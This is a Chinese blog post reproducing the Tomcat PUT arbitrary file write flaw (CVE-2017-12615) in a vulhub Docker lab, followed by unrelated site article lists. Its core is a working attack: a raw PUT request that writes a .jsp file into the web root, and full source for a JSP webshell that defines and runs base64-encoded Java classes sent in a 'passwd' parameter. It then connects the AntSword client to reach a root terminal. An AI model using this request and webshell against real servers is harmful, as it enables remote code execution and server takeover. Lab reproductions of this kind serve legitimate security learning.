Tomcat8 任意写文件PUT方法 (CVE-2017-12615)
作者:小教学发布时间:2023-09-29分类:程序开发学习浏览:79
导读:Tomcat任意写文件PUT方法(CVE-2017-12615)文章目录Tomcat任意写文件PUT方法(CVE-2017-12615)1在线漏洞解读...
Tomcat 任意写文件PUT方法 (CVE-2017-12615)
文章目录
- Tomcat 任意写文件PUT方法 (CVE-2017-12615)
- 1 在线漏洞解读:
- 2 版本影响
- 3 环境搭建
- 4 漏洞复现
- 4.1 访问
- 4.2 POC攻击点
- 4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。
- 4.2.2 访问是否通,可以访问到文件
- 5 漏洞利用
- 5.1 上传jsp一句话
- 5.2 kali打开蚁剑:
- 5.3 连接jsp一句话木马,密码为 passwd
- 5.4 打开终端,获取root
1 在线漏洞解读:
https://vulhub.org/#/environments/tomcat/CVE-2017-12615/
2 版本影响
Tomcat version: 8.5.19
3 环境搭建
cd /home/kali/vulhub/tomcat/CVE-2017-12615
环境启动:
sudo docker-compose up -d
sudo docker ps -a
已启动:访问端口8091
4 漏洞复现
4.1 访问
4.1 访问http://192.168.225.166:8091/
看到Tomcat示例页面,发现8.5.19版本后台管理是不允许登录的
4.2 POC攻击点
4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
4.2.2 访问是否通,可以访问到文件
5 漏洞利用
5.1 上传jsp一句话
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
5.2 kali打开蚁剑:
┌──(kali💋kali)-[~]
└─$ sudo antsword
5.3 连接jsp一句话木马,密码为 passwd
5.4 打开终端,获取root
- 程序开发学习排行
-
- 1鸿蒙HarmonyOS:Web组件网页白屏检测
- 2HTTPS协议是安全传输,为啥还要再加密?
- 3HarmonyOS鸿蒙应用开发——数据持久化Preferences
- 4记解决MaterialButton背景颜色与设置值不同
- 5鸿蒙HarmonyOS实战-ArkUI组件(RelativeContainer)
- 6鸿蒙HarmonyOS实战-ArkUI组件(Stack)
- 7鸿蒙HarmonyOS实战-ArkUI组件(GridRow/GridCol)
- 8[Android][NDK][Cmake]一文搞懂Android项目中的Cmake
- 9鸿蒙HarmonyOS实战-ArkUI组件(mediaquery)
- 最近发表
-
- WooCommerce最好的WordPress常用插件下载博客插件模块的相关产品
- 羊驼机器人最好的WordPress常用插件下载博客插件模块
- IP信息记录器最好的WordPress常用插件下载博客插件模块
- Linkly for WooCommerce最好的WordPress常用插件下载博客插件模块
- 元素聚合器Forms最好的WordPress常用插件下载博客插件模块
- Promaker Chat 最好的WordPress通用插件下载 博客插件模块
- 自动更新发布日期最好的WordPress常用插件下载博客插件模块
- WordPress官方最好的获取回复WordPress常用插件下载博客插件模块
- Img to rss最好的wordpress常用插件下载博客插件模块
- WPMozo为Elementor最好的WordPress常用插件下载博客插件模块添加精简版